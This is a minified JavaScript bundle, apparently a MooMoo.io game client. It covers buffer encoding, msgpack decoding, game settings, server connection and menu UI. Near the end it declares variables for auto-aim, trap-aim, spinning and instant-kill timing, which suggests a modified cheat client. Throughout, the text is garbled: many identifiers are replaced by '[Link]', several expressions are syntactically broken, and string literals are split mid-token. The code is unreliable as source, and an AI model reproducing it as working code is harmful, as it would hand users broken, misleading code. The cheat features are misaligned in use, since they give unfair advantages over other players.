n || O(this, e, t, 2, 65535, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e,
this[t + 1] = e >>> 8) : R(this, e,
t, !0),
t + 2
}
,
[Link].writeUInt16BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 65535, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 8,
this[t + 1] = 255 & e) : R(this, e,
t, !1),
t + 2
}
,
[Link].writeUInt32LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 4294967295, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t + 3] = e >>> 24,
this[t + 2] = e >>> 16,
this[t + 1] = e >>> 8,
this[t] = 255 & e) : j(this, e, t, !0),
t + 4
}
,
[Link].writeUInt32BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 4294967295, 0),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 24,
this[t + 1] = e >>> 16,
this[t + 2] = e >>> 8,
this[t + 3] = 255 & e) : j(this, e,
t, !1),
t + 4
}
,
[Link] = function(e, t, n, i) {
if (e = +e,
t |= 0,
!i) {
var r = [Link](2, 8 * n - 1);
O(this, e, t, n, r - 1, -r)
}
var s = 0
, a = 1
, o = 0;
for (this[t] = 255 & e; ++s < n && (a *= 256); )
e < 0 && 0 === o && 0 !== this[t + s - 1] && (o = 1),
this[t + s] = (e / a >> 0) - o & 255;
return t + n
}
,
[Link] = function(e, t, n, i) {
if (e = +e,
t |= 0,
!i) {
var r = [Link](2, 8 * n - 1);
O(this, e, t, n, r - 1, -r)
}
var s = n - 1
, a = 1
, o = 0;
for (this[t + s] = 255 & e; --s >= 0 && (a *= 256); )
e < 0 && 0 === o && 0 !== this[t + s + 1] && (o = 1),
this[t + s] = (e / a >> 0) - o & 255;
return t + n
}
,
[Link].writeInt8 = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 1, 127, -128),
c.TYPED_ARRAY_SUPPORT || (e = [Link](e)),
e < 0 && (e = 255 + e + 1),
this[t] = 255 & e,
t + 1
}
,
[Link].writeInt16LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 32767, -32768),
c.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e,
this[t + 1] = e >>> 8) : R(this, e,
t, !0),
t + 2
}
,
[Link].writeInt16BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 2, 32767, -32768),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 8,
this[t + 1] = 255 & e) : R(this, e,
t, !1),
t + 2
}
,
[Link].writeInt32LE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 2147483647, -2147483648),
c.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e,
this[t + 1] = e >>> 8,
this[t + 2] = e >>> 16,
this[t + 3] = e >>> 24) : j(this, e, t,
!0),
t + 4
}
,
[Link].writeInt32BE = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 4, 2147483647, -2147483648),
e < 0 && (e = 4294967295 + e + 1),
c.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 24,
this[t + 1] = e >>> 16,
this[t + 2] = e >>> 8,
this[t + 3] = 255 & e) : j(this, e,
t, !1),
t + 4
}
,
[Link] = function(e, t, n) {
return U(this, e, t, !0, n)
}
,
[Link] = function(e, t, n) {
return U(this, e, t, !1, n)
}
,
[Link] = function(e, t, n) {
return D(this, e, t, !0, n)
}
,
[Link] = function(e, t, n) {
return D(this, e, t, !1, n)
}
,
[Link] = function(e, t, n, i) {
if (n || (n = 0),
i || 0 === i || (i = [Link]),
t >= [Link] && (t = [Link]),
t || (t = 0),
i > 0 && i < n && (i = n),
i === n)
return 0;
if (0 === [Link] || 0 === [Link])
return 0;
if (t < 0)
throw new RangeError("targetStart out of bounds");
if (n < 0 || n >= [Link])
throw new RangeError("sourceStart out of bounds");
if (i < 0)
throw new RangeError("sourceEnd out of bounds");
i > [Link] && (i = [Link]),
[Link] - t < i - n && (i = [Link] - t + n);
var r, s = i - n;
if (this === e && n < t && t < i)
for (r = s - 1; r >= 0; --r)
e[r + t] = this[r + n];
else if (s < 1e3 || !c.TYPED_ARRAY_SUPPORT)
for (r = 0; r < s; ++r)
e[r + t] = this[r + n];
else
[Link](e, [Link](n, n + s), t);
return s
}
,
[Link] = function(e, t, n, i) {
if ("string" == typeof e) {
if ("string" == typeof t ? (i = t,
t = 0,
n = [Link]) : "string" ==
typeof n && (i = n,
n = [Link]),
1 === [Link]) {
var r = [Link](0);
r < 256 && (e = r)
}
if (void 0 !== i && "string" != typeof i)
throw new TypeError("encoding must be a string");
if ("string" == typeof i && )
throw new TypeError("Unknown encoding: " + i)
} else
"number" == typeof e && (e &= 255);
if (t < 0 || [Link] < t || [Link] < n)
throw new RangeError("Out of range index");
if (n <= t)
return this;
var s;
if (t >>>= 0,
n = void 0 === n ? [Link] : n >>> 0,
e || (e = 0),
"number" == typeof e)
for (s = t; s < n; ++s)
this[s] = e;
else {
var a = [Link](e) ? e : z(new c(e,i).toString())
, o = [Link];
for (s = 0; s < n - t; ++s)
this[s + t] = a[s % o]
}
return this
}
;
var L = /[^+\/0-9A-Za-z-_]/g;
function F(e) {
return e < 16 ? "0" + [Link](16) : [Link](16)
}
function z(e, t) {
var n;
t = t || 1 / 0;
for (var i = [Link], r = null, s = [], a = 0; a < i; ++a) {
if ((n = [Link](a)) > 55295 && n < 57344) {
if (!r) {
if (n > 56319) {
(t -= 3) > -1 && [Link](239, 191, 189);
continue
}
if (a + 1 === i) {
(t -= 3) > -1 && [Link](239, 191, 189);
continue
}
r = n;
continue
}
if (n < 56320) {
(t -= 3) > -1 && [Link](239, 191, 189),
r = n;
continue
}
n = 65536 + (r - 55296 << 10 | n - 56320)
} else
r && (t -= 3) > -1 && [Link](239, 191, 189);
if (r = null,
n < 128) {
if ((t -= 1) < 0)
break;
[Link](n)
} else if (n < 2048) {
if ((t -= 2) < 0)
break;
[Link](n >> 6 | 192, 63 & n | 128)
} else if (n < 65536) {
if ((t -= 3) < 0)
break;
[Link](n >> 12 | 224, n >> 6 & 63 | 128, 63 & n | 128)
} else {
if (!(n < 1114112))
throw new Error("Invalid code point");
if ((t -= 4) < 0)
break;
[Link](n >> 18 | 240, n >> 12 & 63 | 128, n >> 6 & 63 | 128,
63 & n | 128)
}
}
return s
}
function H(e) {
return [Link](function(e) {
if ((e = function(e) {
return [Link] ? [Link]() : [Link](/^\s+|\s+$/g, "")
}(e).replace(L, "")).length < 2)
return "";
for (; [Link] % 4 != 0; )
e += "=";
return e
}(e))
}
function V(e, t, n, i) {
for (var r = 0; r < i && !(r + n >= [Link] || r >= [Link]); ++r)
t[r + n] = e[r];
return r
}
}
).call(this, n(12))
}
, function(e, t) {
var n;
n = function() {
return this
}();
try {
n = n || new Function("return this")()
} catch (e) {
"object" == typeof window && (n = window)
}
[Link] = n
}
, function(e, t) {
for (var n = t.uint8 = new Array(256), i = 0; i <= 255; i++)
n[i] = r(i);
function r(e) {
return function(t) {
var n = [Link](1);
[Link][n] = e
}
}
}
, function(e, t, n) {
[Link] = s,
[Link] = a;
var i = n(0)
, r = "BUFFER_SHORTAGE";
function s() {
if (!(this instanceof s))
return new s
}
function a() {
if (!(this instanceof a))
return new a
}
function o() {
throw new Error("method not implemented: write()")
}
function c() {
throw new Error("method not implemented: fetch()")
}
function l() {
return [Link] && [Link] ? ([Link](),
[Link]()) :
[Link]()
}
function h(e) {
([Link] || ([Link] = [])).push(e)
}
function u() {
return ([Link] || ([Link] = [])).shift()
}
function f(e) {
return function(t) {
for (var n in e)
t[n] = e[n];
return t
}
}
[Link] = f({
bufferish: i,
write: function(e) {
var t = [Link] ? [Link]([Link],
[Link]) : [Link];
[Link] = t ? e ? [Link]([t, e]) : t : e,
[Link] = 0
},
fetch: c,
flush: function() {
for (; [Link] < [Link]; ) {
var e, t = [Link];
try {
e = [Link]()
} catch (e) {
if (e && [Link] != r)
throw e;
[Link] = t;
break
}
[Link](e)
}
},
push: h,
pull: u,
read: l,
reserve: function(e) {
var t = [Link]
, n = t + e;
if (n > [Link])
throw new Error(r);
return [Link] = n,
t
},
offset: 0
}),
[Link]([Link]),
[Link] = f({
bufferish: i,
write: o,
fetch: function() {
var e = [Link];
if (e < [Link]) {
var t = [Link] = [Link];
return [Link]([Link], e, t)
}
},
flush: function() {
for (; [Link] < [Link]; ) {
var e = [Link]();
e && [Link](e)
}
},
push: h,
pull: function() {
var e = [Link] || ([Link] = [])
, t = [Link] > 1 ? [Link](e) : e[0];
return [Link] = 0,
t
},
read: l,
reserve: function(e) {
var t = 0 | e;
if ([Link]) {
var n = [Link]
, i = 0 | [Link]
, r = i + t;
if (r < n)
return [Link] = r,
i;
[Link](),
e = [Link](e, [Link](2 * n, [Link]))
}
return e = [Link](e, [Link]),
[Link] = [Link](e),
[Link] = 0,
[Link] = t,
0
},
send: function(e) {
var t = [Link];
if (t > [Link])
[Link](),
[Link](e);
else {
var n = [Link](t);
[Link](e, [Link], n)
}
},
maxBufferSize: 65536,
minBufferSize: 2048,
offset: 0,
start: 0
}),
[Link]([Link])
}
, function(e, t, n) {
[Link] = function(e, t) {
var n = new i(t);
return [Link](e),
[Link]()
}
;
var i = n(16).DecodeBuffer
}
, function(e, t, n) {
[Link] = r;
var i = n(8).preset;
function r(e) {
if (!(this instanceof r))
return new r(e);
if (e && ([Link] = e,
[Link])) {
var t = [Link] = [Link];
[Link] && ([Link] = [Link])
}
}
n(14).[Link]([Link]),
[Link] = i,
[Link] = function() {
return [Link](this)
}
}
, function(e, t, n) {
var i = n(4)
, r = n(7)
, s = r.Uint64BE
, a = r.Int64BE;
[Link] = function(e) {
var t = [Link] && e && [Link]
, n = e && e.int64;
return {
map: l && e && [Link] ? u : h,
array: f,
str: d,
bin: t ? g : p,
ext: m,
uint8: y,
uint16: v,
uint32: b,
uint64: S(8, n ? E : T),
int8: k,
int16: w,
int32: x,
int64: S(8, n ? M : I),
float32: S(4, A),
float64: S(8, P)
}
}
,
t.readUint8 = y;
var o = n(0)
, c = n(6)
, l = "undefined" != typeof Map;
function h(e, t) {
var n, i = {}, r = new Array(t), s = new Array(t), a = [Link];
for (n = 0; n < t; n++)
r[n] = a(e),
s[n] = a(e);
for (n = 0; n < t; n++)
i[r[n]] = s[n];
return i
}
function u(e, t) {
var n, i = new Map, r = new Array(t), s = new Array(t), a =
[Link];
for (n = 0; n < t; n++)
r[n] = a(e),
s[n] = a(e);
for (n = 0; n < t; n++)
[Link](r[n], s[n]);
return i
}
function f(e, t) {
for (var n = new Array(t), i = [Link], r = 0; r < t; r++)
n[r] = i(e);
return n
}
function d(e, t) {
var n = [Link](t)
, i = n + t;
return [Link]([Link], "utf-8", n, i)
}
function p(e, t) {
var n = [Link](t)
, i = n + t
, r = [Link]([Link], n, i);
return [Link](r)
}
function g(e, t) {
var n = [Link](t)
, i = n + t
, r = [Link]([Link], n, i);
return [Link](r).buffer
}
function m(e, t) {
var n = [Link](t + 1)
, i = [Link][n++]
, r = n + t
, s = [Link](i);
if (!s)
throw new Error("Invalid ext type: " + (i ? "0x" + [Link](16) :
i));
return s([Link]([Link], n, r))
}
function y(e) {
var t = [Link](1);
return [Link][t]
}
function k(e) {
var t = [Link](1)
, n = [Link][t];
return 128 & n ? n - 256 : n
}
function v(e) {
var t = [Link](2)
, n = [Link];
return n[t++] << 8 | n[t]
}
function w(e) {
var t = [Link](2)
, n = [Link]
, i = n[t++] << 8 | n[t];
return 32768 & i ? i - 65536 : i
}
function b(e) {
var t = [Link](4)
, n = [Link];
return 16777216 * n[t++] + (n[t++] << 16) + (n[t++] << 8) + n[t]
}
function x(e) {
var t = [Link](4)
, n = [Link];
return n[t++] << 24 | n[t++] << 16 | n[t++] << 8 | n[t]
}
function S(e, t) {
return function(n) {
var i = [Link](e);
return [Link]([Link], i, !0)
}
}
function T(e) {
return new s(this,e).toNumber()
}
function I(e) {
return new a(this,e).toNumber()
}
function E(e) {
return new s(this,e)
}
function M(e) {
return new a(this,e)
}
function A(e) {
return [Link](this, e, !1, 23, 4)
}
function P(e) {
return [Link](this, e, !1, 52, 8)
}
}
, function(e, t, n) {
!function(t) {
[Link] = t;
var n = "listeners"
, i = {
on: function(e, t) {
return a(this, e).push(t),
this
},
once: function(e, t) {
var n = this;
return [Link] = t,
a(n, e).push(i),
n;
function i() {
[Link](n, e, i),
[Link](this, arguments)
}
},
off: s,
emit: function(e, t) {
var n = this
, i = a(n, e, !0);
if (!i)
return !1;
var r = [Link];
if (1 === r)
[Link]((function(e) {
[Link](n)
}
));
else if (2 === r)
[Link]((function(e) {
[Link](n, t)
}
));
else {
var s = [Link](arguments, 1);
[Link]((function(e) {
[Link](n, s)
}
))
}
return !![Link]
}
};
function r(e) {
for (var t in i)
e[t] = i[t];
return e
}
function s(e, t) {
var i;
if ([Link]) {
if (t) {
if (i = a(this, e, !0)) {
if (!(i = [Link]((function(e) {
return e !== t && [Link] !== t
}
))).length)
return [Link](this, e);
this[n][e] = i
}
} else if ((i = this[n]) && (delete i[e],
.length))
return [Link](this)
} else
delete this[n];
return this
}
function a(e, t, i) {
if (!i || e[n]) {
var r = e[n] || (e[n] = {});
return r[t] || (r[t] = [])
}
}
r([Link]),
[Link] = r
}((/**
* [Link] - Light-weight EventEmitter (less than 1KB when gzipped)
*
* @copyright Yusuke Kawasaki
* @license MIT
* @constructor
* @see [Link]
* @see [Link]
* @example
* var EventLite = require("event-lite");
*
* function MyClass() {...} // your class
*
* [Link]([Link]); // import event methods
*
* var obj = new MyClass();
* [Link]("foo", function() {...}); // add event listener
* [Link]("bar", function() {...}); // add one-time event listener
* [Link]("foo"); // dispatch event
* [Link]("bar"); // dispatch another event
* [Link]("foo"); // remove event listener
*/
function e() {
if (!(this instanceof e))
return new e
}
))
}
, function(e, t, n) {
(function(t) {
[Link] = 1920,
[Link] = 1080,
[Link] = 9,
[Link] = t && -1 != [Link]("--largeserver") ?
80 : 40,
[Link] = [Link] + 10,
[Link] = 6,
[Link] = 3e3,
[Link] = 10,
[Link] = 5,
[Link] = 50,
[Link] = 4.5,
[Link] = 15,
[Link] = .9,
[Link] = 3e3,
[Link] = 60,
[Link] = 35,
[Link] = 3e3,
[Link] = 500,
[Link] = t && "mm_exp" === [Link].VULTR_SCHEME,
[Link] = 100,
[Link] = [Link] / 2.6,
[Link] = 10,
[Link] = .25,
[Link] = [Link] / 2,
[Link] = 35,
[Link] = .0016,
[Link] = .993,
[Link] = 34,
[Link] = ["#bf8f54",],
[Link] = 7,
[Link] = .06,
[Link] = ["Sid", "Steph", "Bmoe", "Romn",
"Jononthecool", "Fiona", "Vince", "Nathan", "Nick", "Flappy", "Ronald", "Otis",
"Pepe", "Mc Donald", "Theo", "Fabz", "Oliver", "Jeff", "Jimmy", "Helena", "Reaper",
"Ben", "Alan", "Naomi", "XYZ", "Clever", "Jeremy", "Mike", "Destined", "Stallion",
"Allison", "Meaty", "Sophia", "Vaja", "Joey", "Pendy", "Murdoch", "Theo", "Jared",
"July", "Sonia", "Mel", "Dexter", "Quinn", "Milky"],
[Link] = [Link] / 3,
[Link] = [{
id: 0,
src: "",
xp: 0,
val: 1
}, {
id: 1,
src: "_g",
xp: 3e3,
val: 1.1
}, {
id: 2,
src: "_d",
xp: 7e3,
val: 1.18
}, {
id: 3,
src: "_r",
poison: !0,
xp: 12e3,
val: 1.18
}],
[Link] = function(t) {
for (var n = [Link][[Link]] || 0, i =
[Link] - 1; i >= 0; --i)
if (n >= [Link][i].xp)
return [Link][i]
}
,
[Link] = ["wood", "food", "stone", "points"],
[Link] = 7,
[Link] = 9,
[Link] = 3,
[Link] = 32,
[Link] = 7,
[Link] = 724,
[Link] = 114,
[Link] = .0011,
[Link] = 1e-4,
[Link] = 1.3,
[Link] = [150, 160, 165, 175],
[Link] = [80, 85, 95],
[Link] = [80, 85, 90],
[Link] = 2400,
[Link] = .75,
[Link] = 15,
[Link] = 14400,
[Link] = 40,
[Link] = 2200
}
).call(this, n(41))
}
, function(e, t) {
var n = {
utf8: {
stringToBytes: function(e) {
return [Link](unescape(encodeURIComponent(e)))
},
bytesToString: function(e) {
return decodeURIComponent(escape([Link](e)))
}
},
bin: {
stringToBytes: function(e) {
for (var t = [], n = 0; n < [Link]; n++)
[Link](255 & [Link](n));
return t
},
bytesToString: function(e) {
for (var t = [], n = 0; n < [Link]; n++)
[Link]([Link](e[n]));
return [Link]("")
}
}
};
[Link] = n
}
, function(e, t, n) {
"use strict";
[Link] = !0;
var i = "[Link]" !== [Link] && !
[Link]("192.168.");
n(22);
var r = n(23)
, s = n(42)
, a = n(43)
, o = n(19)
, c = n(44)
, l = n(45)
, h = (n(46),
n(47))
, u = n(48)
, f = n(55)
, d = n(56)
, p = n(57)
, g = n(58).obj
, m = new [Link]
, y = new (n(59))("[Link]",3e3,[Link],5,!1);
[Link] = !1;
var k = !1;
function v() {
ht && ut && (k = !0,
i ?
[Link]("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", {
action: "homepage"
}).then((function(e) {
w(e)
}
)) : w(null))
}
function w(e) {
[Link]((function(t, n, a) {
var c = (i ? "wss" : "ws") + "://" + t + ":8008/?gameIndex=" + a;
e && (c += "&token=" + encodeURIComponent(e)),
[Link](c, (function(e) {
Bi(),
setInterval(()=>Bi(), 2500),
e ? ft(e) : ([Link] = [Link]((function() {
!function() {
var e = ++bt > 1
, t = [Link]() - wt > vt;
e && t ? (wt = [Link](),
xt()) : Tn()
}()
}
)),
[Link](ue),
[Link] = [Link]((function() {
Oi("[Link]
}
)),
[Link](fe),
[Link] = [Link]((function() {
setTimeout((function() {
!function() {
var e = [Link]
, t = prompt("party key", e);
t && ([Link] = void 0,
[Link] = "/?server=" + t)
}()
}
), 10)
}
)),
[Link](pe),
[Link] = [Link]((function() {
[Link]("showing") ?
([Link]("showing"),
[Link] =
"Settings") : ([Link]("showing"),
[Link] = "Close")
}
)),
[Link](ge),
[Link] = [Link]((function() {
yn(),
"block" != [Link] ? Ut() : [Link] =
"none"
}
)),
[Link](ye),
[Link] = [Link]((function() {
"block" != [Link] ? ([Link] = "block",
[Link] = "none",
drawMenu(),
an(),
Gt()) : [Link] =
"none"
}
)),
[Link](ke),
[Link] = [Link]((function() {
rn()
}
)),
[Link](ve),
[Link] = [Link]((function() {
}
)),
[Link](Ne),
function() {
for (var e = 0; e < [Link]; ++e) {
var t = new Image;
[Link] = function() {
[Link] = !0
}
,
[Link] = ".././img/icons/" + jn[e] + ".png",
Rn[jn[e]] = t
}
}(),
[Link] = "none",
[Link] = "block",
[Link] = E("moo_name") || "",
function() {
var e = E("native_resolution");
Zt(e ? "true" == e : "undefined" != typeof cordova),
A = "true" == E("show_ping"),
[Link] = !A,
E("moo_moosic"),
setInterval((function() {
[Link] &&
([Link]("downloadButtonContainer").[Link]("cordova"),
[Link]("mobileDownloadButtonContainer").[Link]("cordova"))
}
), 1e3),
en(),
[Link](Ce);
for (var t = 0; t < [Link] + [Link]; ++t)
!function(e) {
[Link]({
id: "actionBarItem" + e,
class: "actionBarItem",
style: "display:none",
onmouseout: function() {
Tt()
},
parent: Ce
})
}(t);
for (t = 0; t < [Link] + [Link]; ++t)
!function(e) {
var t = [Link]("canvas");
[Link] = [Link] = 66;
var n = [Link]("2d");
if ([Link]([Link] / 2, [Link] / 2),
[Link] = !1,
[Link] = !1,
[Link] = !1,
[Link][e]) {
[Link]([Link] / 4 + [Link]);
var i = new Image;
Zn[[Link][e].src] = i,
[Link] = function() {
[Link] = !0;
var i = 1 / ([Link] / [Link])
, r = [Link][e].iPad || 1;
[Link](this, -[Link] * r * [Link] *
i / 2, -[Link] * r * [Link] / 2, [Link] * r * i * [Link], [Link] * r *
[Link]),
[Link] = "rgba(0, 0, 70, 0.1)",
[Link] = "source-
atop",
[Link](-[Link] / 2, -[Link] / 2,
[Link], [Link]),
[Link]("actionBarItem"
+ e).[Link] = "url(" + [Link]() + ")"
}
,
[Link] = ".././img/weapons/" +
[Link][e].src + ".png",
(r = [Link]("actionBarItem"
+ e)).onmouseover = [Link]((function() {
Tt([Link][e], !0)
}
)),
[Link] = [Link]((function() {
Sn(e, !0)
}
)),
[Link](r)
} else {
i = ri([Link][e - [Link]], !0);
var r, a = [Link]([Link] - [Link],
[Link]);
[Link] = 1,
[Link](i, -a / 2, -a / 2, a, a),
[Link] = "rgba(0, 0, 70, 0.1)",
[Link] = "source-atop",
[Link](-a / 2, -a / 2, a, a),
[Link]("actionBarItem" +
e).[Link] = "url(" + [Link]() + ")",
(r = [Link]("actionBarItem"
+ e)).onmouseover = [Link]((function() {
Tt([Link][e - [Link]])
}
)),
[Link] = [Link]((function() {
Sn(e - [Link])
}
)),
[Link](r)
}
}(t);
[Link] = [Link]((function(e) {
[Link]();
var t = prompt("enter name", [Link]);
[Link] = [Link](0, 15)
}
)),
[Link] = M,
[Link] = [Link]((function(e) {
Zt([Link])
}
)),
[Link] = A,
[Link] = [Link]((function(e) {
A = [Link],
[Link] = !A,
I("show_ping", A ? "true" : "false")
}
))
}())
}
), {
id: st,
d: ft,
1: En,
2: vi,
4: wi,
33: Ti,
5: Ln,
6: li,
a: gi,
aa: pi,
7: Wn,
8: hi,
sp: ui,
9: xi,
h: Si,
11: Pn,
12: Cn,
13: Bn,
14: bi,
15: Dn,
16: Un,
17: $t,
18: fi,
19: di,
20: Ci,
ac: Ot,
ad: _t,
an: Bt,
st: Rt,
sa: jt,
us: Nt,
ch: hn,
mm: Wt,
t: Mn,
p: Yt,
pp: Pi
}),
pt(),
setTimeout(()=>gt(), 3e3)
}
), (function(e) {
[Link]("Vultr error:", e),
alert("Error:\n" + e),
ft("disconnected")
}
))
}
var b, x = new g(o,s), S = [Link], T = 2 * S;
function I(e, t) {
b && [Link](e, t)
}
function E(e) {
return b ? [Link](e) : null
}
[Link] = function(e, t, n) {
[Link](t - e) > S && (e > t ? t += T : e += T);
var i = t + (e - t) * n;
return i >= 0 && i <= T ? i : i % T
}
,
[Link] = function(e, t, n, i, r) {
return n < 2 * r && (r = n / 2),
i < 2 * r && (r = i / 2),
r < 0 && (r = 0),
[Link](),
[Link](e + r, t),
[Link](e + n, t, e + n, t + i, r),
[Link](e + n, t + i, e, t + i, r),
[Link](e, t + i, e, t, r),
[Link](e, t, e + n, t, r),
[Link](),
this
}
,
"undefined" != typeof Storage && (b = !0),
E("consent") || ([Link] = "block"),
[Link] = function(e) {
e ? ([Link] = "none",
I("consent", 1)) : $("#consentShake").effect("shake")
}
;
var M, A, P, B, C, O, R, j, _, U, D, L, F, z, H = E("moofoll"), V = 1, q =
[Link](), Y = [], W = [], X = [], N = [], G = [], J = new p(d,G,W,Y,nt,l,o,s), K
= n(70), Q = n(71), Z = new K(Y,Q,W,l,null,o,s), ee = 1, te = 0, ne = 0, ie = 0, re
= {
id: -1,
startX: 0,
startY: 0,
currentX: 0,
currentY: 0
}, se = {
id: -1,
startX: 0,
startY: 0,
currentX: 0,
currentY: 0
}, ae = 0, oe = [Link], ce = [Link], le = !1, he =
([Link]("ad-container"),
[Link]("mainMenu")), ue = [Link]("enterGame"), fe
= [Link]("promoImg"), de = [Link]("partyButton"),
pe = [Link]("joinPartyButton"), ge =
[Link]("settingsButton"), me = [Link]("span")[0],
ye = [Link]("allianceButton"), ke =
[Link]("storeButton"), ve = [Link]("chatButton"),
we = [Link]("gameCanvas"), be = [Link]("2d"), xe =
[Link]("serverBrowser"), Se =
[Link]("nativeResolution"), Te =
[Link]("showPing"), Ie = ([Link]("playMusic"),
[Link]("pingDisplay")), Ee =
[Link]("shutdownDisplay"), Me =
[Link]("menuCardHolder"), Ae =
[Link]("guideCard"), Pe = [Link]("loadingText"),
Be = [Link]("gameUI"), Ce = [Link]("actionBar"),
Oe = [Link]("scoreDisplay"), Re =
[Link]("foodDisplay"), je =
[Link]("woodDisplay"), _e =
[Link]("stoneDisplay"), Ue =
[Link]("killCounter"), De =
[Link]("leaderboardData"), Le =
[Link]("nameInput"), Fe =
[Link]("itemInfoHolder"), ze = [Link]("ageText"),
He = [Link]("ageBarBody"), Ve =
[Link]("upgradeHolder"), qe =
[Link]("upgradeCounter"), Ye =
[Link]("allianceMenu"), We =
[Link]("allianceHolder"), Xe =
[Link]("allianceManager"), Ne =
[Link]("mapDisplay"), Ge = [Link]("diedText"), Je
= [Link]("skinColorHolder"), Ke = [Link]("2d");
[Link] = 300,
[Link] = 300;
var Qe = [Link]("storeMenu")
, $e = [Link]("storeHolder")
, Ze = [Link]("noticationDisplay")
, et = [Link]
, tt = [Link]
, nt = new h(c,N,s,o)
, it = "#525252"
, rt = "#3d3f42";
function st(e) {
X = [Link]
}
var at = [Link]("featuredYoutube")
, ot = [{
name: "l._.re",
link: ""
}]
, ct = ot[[Link](0, [Link] - 1)];
[Link] = "<a target='_blank' class='ytLink' href='" + [Link] + "'><i
class='material-icons' style='vertical-align: top;'></i> " + [Link] +
"</a>";
var lt = !0
, ht = !1
, ut = !1;
function ft(e) {
[Link](),
dt(e)
}
function dt(e) {
[Link] = "block",
[Link] = "none",
[Link] = "none",
[Link] = "none",
[Link] = "block",
[Link] = e + "<a
href='javascript:[Link]=[Link]'
class='ytLink'>reload</a>"
}
[Link] = function() {
lt = !1
}
,
[Link] = function() {
lt = !0,
R && [Link] && yn()
}
,
[Link] = function() {
ht = !0,
v(),
setTimeout((function() {
k || (alert("Captcha failed to load"),
[Link]())
}
), 2e4)
}
,
[Link] = function() {
ut = !0,
v()
}
,
[Link] = function() {
return !1
}
;
function pt() {
var e, t, n = "", i = 0;
for (var r in [Link]) {
for (var s = [Link][r], a = 0, c = 0; c < [Link]; c++)
for (var l = 0; l < s[c].[Link]; l++)
a += s[c].games[l].playerCount;
i += a;
var h = [Link][r].name;
n += "<option disabled>" + h + " - " + a + " players</option>";
for (var u = 0; u < [Link]; u++)
for (var f = s[u], d = 0; d < [Link]; d++) {
var p = [Link][d]
, g = 1 * [Link] + d + 1
, m = [Link] && [Link] === [Link] &&
[Link] === [Link] && [Link] == d
, k = h + " " + g + " [" + [Link]([Link],
[Link]) + "/" + [Link] + "]";
let e = [Link](r) + ":" + u + ":" + d;
m && ([Link]("span")[0].innerText = e),
n += "<option value='" + e + "' " + (m ? "selected" :
"") + ">" + k + "</option>"
}
n += "<option disabled></option>"
}
n += "<option disabled>All Servers - " + i + " players</option>",
[Link] = n,
"[Link]" == [Link] ? (e = "Back to MooMoo",
t = "//[Link]/") : (e
= "Try the sandbox",
t
= "//[Link]/"),
[Link]("altServer").innerHTML = "<a href='" + t +
"'>" + e + "<i class='material-icons' style='font-size:10px;vertical-
align:middle'>arrow_forward_ios</i></a>"
}
function gt() {
var e = new XMLHttpRequest;
[Link] = function() {
4 == [Link] && (200 == [Link] ? ([Link] =
[Link]([Link]),
[Link]([Link]),
pt()) :
[Link]("Failed to load server data with status code:", [Link]))
}
,
[Link]("GET", "/serverData", !0),
[Link]()
}
[Link]("change", [Link]((function() {
let e = [Link](":");
[Link](e[0], e[1], e[2])
}
)));
var mt = [Link]("pre-content-container")
, yt = null
, kt = null;
[Link]((function(e) {
[Link](mt),
kt = e
}
));
var vt = 3e5
, wt = 0
, bt = 0;
function xt() {
if (!cpmstarAPI || !kt)
return [Link]("Failed to load video ad API", !!cpmstarAPI, !!
kt),
void Tn();
(yt = new
[Link]("rewardedvideo")).addEventListener("ad_closed",
(function(e) {
[Link]("Video ad closed"),
St()
}
)),
[Link]("loaded", (function(e) {
[Link]("Video ad loaded"),
[Link]()
}
)),
[Link]("load_failed", (function(e) {
[Link]("Video ad load failed", e),
St()
}
)),
[Link](),
[Link] = "block"
}
function St() {
[Link] = "none",
Tn()
}
function Tt(e, t, n) {
if (R && e)
if ([Link](Fe),
[Link]("visible"),
[Link]({
id: "itemInfoName",
text: [Link]([Link]),
parent: Fe
}),
[Link]({
id: "itemInfoDesc",
text: [Link],
parent: Fe
}),
n)
;
else if (t)
[Link]({
class: "itemInfoReq",
text: [Link] ? "secondary" : "primary",
parent: Fe
});
else {
for (var i = 0; i < [Link]; i += 2)
[Link]({
class: "itemInfoReq",
html: [Link][i] + "<span class='itemInfoReqVal'> x" +
[Link][i + 1] + "</span>",
parent: Fe
});
[Link] && [Link]({
class: "itemInfoLmt",
text: ([Link][[Link]] || 0) + "/" + [Link],
parent: Fe
})
}
else
[Link]("visible")
}
[Link] = xt;
var It, Et, Mt, At = [], Pt = [];
var primaryReload = [], secondaryReload = [], turretReload = [];
var lastX = [], lastY = [];
let AI = false, bsr = false;
let ctl = null, ltcl = null, t_s = false;
let itp = {x: void 0, y: void 0, sid: Infinity, insta: false, vis: false,
dir: void 0, health: void 0},
spin = {degree: 36, toggle: false, angle: 0}, autoaim = true, trapaim =
false, hit = {in: 0, out: 0, p: false};
let Mill = {x: null, y: null, z: false, k: null};
let erp = false;
function Bt(e, t) {
[Link]({
sid: e,
name: t
}),
Ct()
}
function Ct() {
if (At[0]) {
var e = At[0];
[Link](Ze),
[Link] = "block",
[Link]({
class: "notificationText",
text: [Link],
parent: Ze
}),
[Link]({
class: "notifButton",
html: "<i class='material-icons' style='font-
size:28px;color:#cc5151;'></i>",
parent: Ze,
onclick: function() {
Dt(0)
},
hookTouch: !0
}),
[Link]({
class: "notifButton",
html: "<i class='material-icons' style='font-
size:28px;color:#8ecc51;'></i>",
parent: Ze,
onclick: function() {
Dt(1)
},
hookTouch: !0
})
} else
[Link] = "none"
}
function Ot(e) {
[Link](e),
"block" == [Link] && Ut()
}
function Rt(e, t) {
R && ([Link] = e,
[Link] = t,
"block" == [Link] && Ut())
}
function jt(e) {
Pt = e,
"block" == [Link] && Ut()
